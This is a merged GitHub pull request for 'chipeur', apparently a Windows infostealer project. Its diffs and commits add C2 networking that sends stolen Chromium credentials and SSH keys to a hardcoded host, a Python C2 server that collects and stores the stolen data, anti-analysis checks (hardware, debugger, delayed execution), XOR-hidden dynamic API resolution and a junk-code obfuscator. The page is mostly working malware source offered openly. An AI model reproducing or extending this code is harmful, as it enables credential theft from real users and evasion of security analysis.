Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
71 commits
Select commit Hold shift + click to select a range
668e359
Junk Code insert init
elyessfaxiano Jan 14, 2025
ceb4938
Added obfuscation logic for junk code and control flow
elyessfaxiano Jan 17, 2025
c9cd9d6
test: trying to connect with socket
GZNOP Jan 19, 2025
dce6a4e
fuer
GZNOP Jan 19, 2025
b61a178
tmp: apero
GZNOP Jan 28, 2025
6deaf00
implement 0xpat checks
defaultmodel Jan 30, 2025
e7719a6
add files to makefile
defaultmodel Jan 30, 2025
1f68d67
todo: c2 reception
GZNOP Feb 3, 2025
65dbeb3
add: c2 working for ssh files
Feb 4, 2025
84d7ca7
add: multithreading to handle multiple client
Feb 5, 2025
268deda
merging unstable and c2
Feb 5, 2025
a60cb98
merging with unstable
Feb 5, 2025
80e8f29
current: sending credentials to c2 server
Feb 6, 2025
68356b8
Résolution du conflit dans makefile
elyessfaxiano Feb 9, 2025
371964a
implement 0xpat checks
defaultmodel Jan 30, 2025
85cdaa2
add files to makefile
defaultmodel Jan 30, 2025
5992678
precise error codes
defaultmodel Feb 11, 2025
d5d83c5
handle precise error codes
defaultmodel Feb 11, 2025
49ea9d3
screen resolution & implementation of precise error codes
defaultmodel Feb 11, 2025
11f58b7
c2 part working, can be optimized
GZNOP Feb 12, 2025
3513926
local merging c2 with unstable
GZNOP Feb 12, 2025
06d1e71
adding debug precompiler instruction
GZNOP Feb 12, 2025
8cf774e
clang formatted
GZNOP Feb 12, 2025
bb09140
clang formatted
GZNOP Feb 12, 2025
1618a1e
delay execution using beep
defaultmodel Feb 12, 2025
a7785a2
fix wrong return code
defaultmodel Feb 13, 2025
a41b76b
print to console are now dependendant on macro DEBUG
defaultmodel Feb 13, 2025
904d889
Merge branch 'feature/anti-analysis-hardware-requirements' of github.…
defaultmodel Feb 13, 2025
a3115ed
Merge branch 'unstable'
defaultmodel Feb 13, 2025
252f25e
Amélioration de l'insertion de junk code et réduction de l'obfuscatio…
elyessfaxiano Feb 14, 2025
78e8be7
merge unstable
elyessfaxiano Feb 14, 2025
6460465
petite correction de random
elyessfaxiano Feb 14, 2025
7a1a3a8
Add dynamic api function resolution with XORED stack string
Feb 14, 2025
ac99ce2
fixed errors
elyessfaxiano Feb 15, 2025
6d55cd8
patching c2 server
GZNOP Feb 15, 2025
cc9e727
Feature/anti analysis hardware requirements (#32)
GZNOP Feb 15, 2025
bc47d87
local merging with unstable
GZNOP Feb 15, 2025
1789f81
local merging with unstable
GZNOP Feb 15, 2025
7776757
Add DLL resolution with commented parts
Feb 16, 2025
f2dc51d
Résolution des conflits entre unstable et feature/ObfJunkCodeInsertion
elyessfaxiano Feb 16, 2025
8c3a71a
update makefile
defaultmodel Feb 17, 2025
5abfaf4
update header argument
defaultmodel Feb 17, 2025
9198090
use code in main
defaultmodel Feb 17, 2025
4ba337d
Automatisation + cleaned a little bit
elyessfaxiano Feb 17, 2025
e2936a6
Fix clang-format issues
elyessfaxiano Feb 17, 2025
eadd738
Feature/obf junk code insertion (#34)
defaultmodel Feb 18, 2025
2d50b15
local merging with unstable
GZNOP Feb 18, 2025
b38f2dc
Feature/sending data c2 (#31)
defaultmodel Feb 18, 2025
45652fb
dynamic_resolution_dpapi
elyessfaxiano Feb 18, 2025
f49705b
Comments
elyessfaxiano Feb 18, 2025
7b1a5f5
fix clang issue
elyessfaxiano Feb 18, 2025
af896d7
Comments (#35)
ErrorTeaPot Feb 19, 2025
4a5be5f
fast clean
elyessfaxiano Feb 19, 2025
47d548c
update name
defaultmodel Feb 19, 2025
b5ee51e
refactor main implementation
defaultmodel Feb 19, 2025
77274bf
Merge branch 'unstable'
defaultmodel Feb 19, 2025
8b9c4a1
Merge branch 'unstable' into feature/delayed-execution
defaultmodel Feb 19, 2025
34601c5
Feature/delayed execution (#36)
ErrorTeaPot Feb 20, 2025
f3f2eca
Merge branch 'unstable' into feature/dynamic_api_resolution
ErrorTeaPot Apr 4, 2025
24876d1
Update makefile
ErrorTeaPot Apr 4, 2025
23f9e46
Update obfuscation.h
ErrorTeaPot Apr 4, 2025
7ae7f0c
Update chromium.h
ErrorTeaPot Apr 4, 2025
7c4589e
Update chipeur.c
ErrorTeaPot Apr 4, 2025
c9e7e56
Update obfuscation.c
ErrorTeaPot Apr 4, 2025
97da530
Update chromium.c
ErrorTeaPot Apr 4, 2025
9a01d1d
Feature/dynamic api resolution (#37)
defaultmodel Apr 18, 2025
07b2eaa
Add license
ErrorTeaPot May 7, 2025
40917ac
Add license (#39)
defaultmodel May 7, 2025
00fae99
Merge branch 'main' into feature/resolve-merge-conflict
May 7, 2025
6587228
fix formatting
May 7, 2025
997d607
Feature/resolve merge conflict for #40 (#41)
ErrorTeaPot May 7, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
674 changes: 674 additions & 0 deletions LICENSE

Large diffs are not rendered by default.

14 changes: 14 additions & 0 deletions build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#!/bin/bash

echo "Compiling junk_code_inserter..."
gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude -lcrypto || exit 1

echo "Applying junk code to modified source files..."
for file in $(git status --porcelain | awk '{print $2}' | grep '^src/.*\.c$' | grep -v 'junk_code_inserter.c'); do
if [[ "$file" != "src/sqlite3.c" && "$file" != "src/aes.c" ]]; then
echo "Processing $file"
./junk_code_inserter "$file"
else
echo "Skipping $file"
fi
done
15 changes: 15 additions & 0 deletions include/c2.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
#ifndef C2_H
#define C2_H
#include <windows.h>
#include <winsock2.h>

#include "find_ssh_key.h"
#include "logins.h"

#define C2_IP "192.168.1.17"
#define C2_PORT 1234

BOOL send_ssh_key(sshKey[MAX_KEY_FILES], DWORD32, SOCKET *);
BOOL send_credentials(SOCKET *, Credential *, DWORD32);
BOOL connect_to_c2(SOCKET *);
#endif
5 changes: 4 additions & 1 deletion include/chipeur.h
Original file line number Diff line number Diff line change
@@ -1 +1,4 @@
void hello(void);
#ifndef CHIPEUR_H
#define CHIPEUR_H
void hello(void);
#endif
11 changes: 6 additions & 5 deletions include/chromium.h
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
#include <winnt.h>

#include "logins.h"
#include "obfuscation.h"

#define MAX_BROWSER_NAME_SIZE 20
#define MAX_LOGIN_DATA_PATH_SIZE 57
Expand All @@ -16,14 +17,14 @@ typedef struct {
WCHAR localStatePath[MAX_LOCAL_STATE_PATH_SIZE];
} BrowserInfo;

int steal_chromium_creds();
static int steal_browser_creds(BrowserInfo browser);
static int retrieve_logins(PWSTR fullPath, int *loginCountOut,
int steal_chromium_creds(Credential *, DWORD32 *);
static int steal_browser_creds(BrowserInfo browser, Credential *, DWORD32 *);
static int retrieve_logins(const PWSTR fullPath, int *loginCountOut,
Login *loginsOut[]);
static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encryptedKeyOut);
static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[],
size_t *decodedKeySizeOut);
size_t *decodedKeySizeOut, hidden_apis *apis);
static int decrypt_key(BYTE *encryptedKey, size_t encryptedKeySize,
DATA_BLOB *decryptedKeyOut);
DATA_BLOB *decryptedKeyOut, hidden_apis *apis);

#endif
6 changes: 6 additions & 0 deletions include/delay_execution.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#ifndef DELAY_EXECUTION_H
#define DELAY_EXECUTION_H

int delay_execution(int duration);

#endif
6 changes: 5 additions & 1 deletion include/extract_file.h
Original file line number Diff line number Diff line change
@@ -1,3 +1,7 @@
#ifndef EXTRACT_FILE_H
#define EXTRACT_FILE_H
#include <windows.h>

void print_file(const PWSTR);
void print_file(const PWSTR);
BOOL is_readable(const PWSTR);
#endif
9 changes: 6 additions & 3 deletions include/find_ssh_key.h
Original file line number Diff line number Diff line change
@@ -1,13 +1,16 @@
#ifndef FIND_SSH_KEY_H
#define FIND_SSH_KEY_H
#include <windows.h>

// Max number of possible ssh keys to dump.
// To avoid usage of linked list (lazy)
#define MAX_KEY_FILES 30

// Simple structure representing a ssh
typedef struct sshkey {
typedef struct sshKey {
PWSTR publicKeyPath;
PWSTR secretKeyPath;
} sshkey;
} sshKey;

void find_ssh_key(const PWSTR);
void find_ssh_key(const PWSTR, sshKey[MAX_KEY_FILES], DWORD32 *);
#endif
11 changes: 11 additions & 0 deletions include/hardware_requirements.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#ifndef HARDWARE_REQUIREMENTS_H
#define HARDWARE_REQUIREMENTS_H

#define EXIT_CPU_FAIL 200
#define EXIT_RAM_FAIL 201
#define EXIT_HDD_FAIL 202
#define EXIT_RESOLUTION_FAIL 203

int check_hardware();

#endif
39 changes: 39 additions & 0 deletions include/junk_code_inserter.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#ifndef JUNK_CODE_INSERTER_H
#define JUNK_CODE_INSERTER_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

// Constants for junk code and control flow obfuscation probabilities
#define MAX_LINE_LENGTH 1024
#define MAX_OBFUSCATIONS_PER_FUNCTION 1
#define JUNK_CODE_PROBABILITY 15
#define CONTROL_FLOW_PROBABILITY 10
#define OPAQUE_PREDICATE_PROBABILITY 10

/**
* @brief Generates random junk code to obfuscate the source code.
*
* @param output The file pointer where the junk code will be written.
*/
void generate_junk_code(FILE *output);

/**
* @brief Generates random control flow obfuscation to make reverse engineering
* harder.
*
* @param output The file pointer where the control flow obfuscation will be
* written.
*/
void generate_control_flow(FILE *output);

/**
* @brief Applies junk code and control flow obfuscation to a given source file.
*
* @param file_path The path to the source file to be obfuscated.
*/
void insert_obfuscation(const char *file_path);

#endif // JUNK_CODE_INSERTER_H
3 changes: 2 additions & 1 deletion include/logins.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@

#include <windef.h>

#define CRED_SIZE 32

// Encrypted credentials
typedef struct {
PSTR url;
Expand All @@ -12,7 +14,6 @@ typedef struct {
} Login;

// Decrypted `Login`
// mostly used for debug/printing purposes
typedef struct {
PSTR url;
PSTR username;
Expand Down
29 changes: 29 additions & 0 deletions include/obfuscation.h
Original file line number Diff line number Diff line change
@@ -1,4 +1,9 @@
#ifndef OBFUSCATION_H
#define OBFUSCATION_H
#include <knownfolders.h>
#include <shlobj.h>
#include <stddef.h>
#include <windows.h>

#define XOR_STR(str, size) \
do { \
Expand All @@ -13,3 +18,27 @@
(wstr)[i] ^= 42; \
} \
} while (0)

#define REFKNOWNFOLDERID const KNOWNFOLDERID *__MIDL_CONST

typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess,
PBOOL pbDebuggerPresent);
// typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName);
typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB *, LPWSTR *, DATA_BLOB *,
void *, void *, DWORD, DATA_BLOB *);
typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE *,
DWORD *, DWORD *, DWORD *);
// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD
// dwFlags, HANDLE hToken, PWSTR *ppszPath);

typedef struct {
PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent;
// PLoadLibraryA funcLoadLibraryA;
PCryptUnprotectData funcCryptUnprotectData;
PCryptStringToBinaryA funcCryptStringToBinaryA;
// PSHGetKnownFolderPath funcSHGetKnownFolderPath;
} hidden_apis;

void resolve_apis(hidden_apis *apis);

#endif // OBFUSCATION_H
Binary file added junk_code_inserter
Binary file not shown.
13 changes: 11 additions & 2 deletions makefile
Original file line number Diff line number Diff line change
Expand Up @@ -4,15 +4,15 @@ INCLUDE_DIR = include/
OBJ_DIR = obj/

# add the object file used here
OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o
OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)hardware_requirements.o $(OBJ_DIR)delay_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o $(OBJ_DIR)c2.o

CC=x86_64-w64-mingw32-gcc
CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \
-Wpointer-arith -Wcast-qual -Wcast-align=strict -I$(INCLUDE_DIR)

#not needed for now
LDFLAGS =# -Wl,--strip-all
LLIB= -luuid -lole32 -lcrypt32
LLIB= -luuid -lole32 -lws2_32
DEBUG=-DDEBUG

.PHONY : all help clean
Expand All @@ -27,6 +27,9 @@ all: chipeur.exe
$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h $(INCLUDE_DIR)find_ssh_key.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

$(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

Expand All @@ -45,6 +48,12 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h
$(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

$(OBJ_DIR)delay_execution.o : $(SRC_DIR)delay_execution.c $(INCLUDE_DIR)delay_execution.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

$(OBJ_DIR)hardware_requirements.o : $(SRC_DIR)hardware_requirements.c $(INCLUDE_DIR)hardware_requirements.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

$(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@

Expand Down
1 change: 0 additions & 1 deletion obj/.gitkeep

This file was deleted.

132 changes: 132 additions & 0 deletions server/simple_serv.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,132 @@
import socket
import os
import time
import threading

def createpath(username: str, datatype: str):
""" create the folder to store the data ./username/datatype """
try :
os.mkdir(username)
except FileExistsError:
print(f"DEBUG: {username} directory already exists.")
# except:
# print(f"DEBUG: Error while creating the {username} directory. Abort")
# return


path = os.path.join(username,datatype)
try :
os.mkdir(path)
except FileExistsError:
print(f"DEBUG: {path} directory already exists.")

return path

def savefile(username: str, datatype: str, filename: str, client: socket.socket):
""" create and write a file in the directory ./username/file/"""

path = createpath(username, datatype)

# creating a unique file to avoid overwriting
path = os.path.join(path, str(int(time.time())) + "_" + filename)
fic = open(path, "w")
ch = client.recv(9).decode()
# ending condition, chipeur client allways send it
while ch[-9:] != "[RUEPIHC]":
try:
cur_c = client.recv(1).decode()
ch += cur_c
except:
fic.write(ch)
fic.close()
return
ch = ch[:-9]
print(f"DEBUG: Writing '{path}' file")
fic.write(ch)
fic.close()

def savecreds(username: str, datatype: str, client: socket.socket):
""" create and write a file in the directory ./username/file/ """
path = createpath(username, datatype)
path = os.path.join(path, "creds_" + str(int(time.time())))
fic = open(path, "w")
ch = client.recv(9).decode("utf-8")
# ending condition, chipeur client allways send it
while ch[-9:] != "[RUEPIHC]":
try:
cur_c = client.recv(1).decode("utf-8")
ch += cur_c
except:
fic.write(ch)
fic.close()
return
ch = ch[:-9]
print(f"DEBUG: Writing '{path}' file")
fic.write(ch)
fic.close()


def read_bytes_until_next_pipe(client: socket.socket):
""" this function is used to parse the chipeur request and gather the information of the request """
ch = b""
cur_c = b""
while cur_c != b"|":
cur_c = client.recv(1)
ch += cur_c

# we return the data before the pipe
return ch[:-1]

def handle_client(client_socket, addr):
print(f"Connection from {addr}")
try:
while True:
# should read [CHIPEUR]
chipeur = read_bytes_until_next_pipe(client_socket).decode("utf-8")
print(chipeur)
if "[CHIPEUR]" not in chipeur:
client_socket.close()
break

username = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be")
print(username)

datatype = read_bytes_until_next_pipe(client_socket).decode("utf-8")
print(datatype)

# only two datatypes possible
if datatype == "file":
filename = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be")
print(filename)
savefile(username, datatype, filename, client_socket)

if datatype == "credentials":
savecreds(username, datatype, client_socket)

except UnicodeDecodeError as error:
print(f"DEBUG: Connection closed: {error}")
except ConnectionResetError as error:
print(f"DEBUG: Connection closed: {error}")
except TimeoutError as error:
print(f"DEBUG: Connection closed: {error}")
client_socket.close()

def start_server(host='0.0.0.0', port=1234):
# Create a socket object
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to the address and port
server_socket.bind((host, port))

# Listen for incoming connections
server_socket.listen(1)
print(f"Listening on {host}:{port}...")

while True:
# Accept a connection
client_socket, addr = server_socket.accept()
th = threading.Thread(target=handle_client, args=(client_socket, addr))
th.start()

if __name__ == "__main__":
start_server()
Loading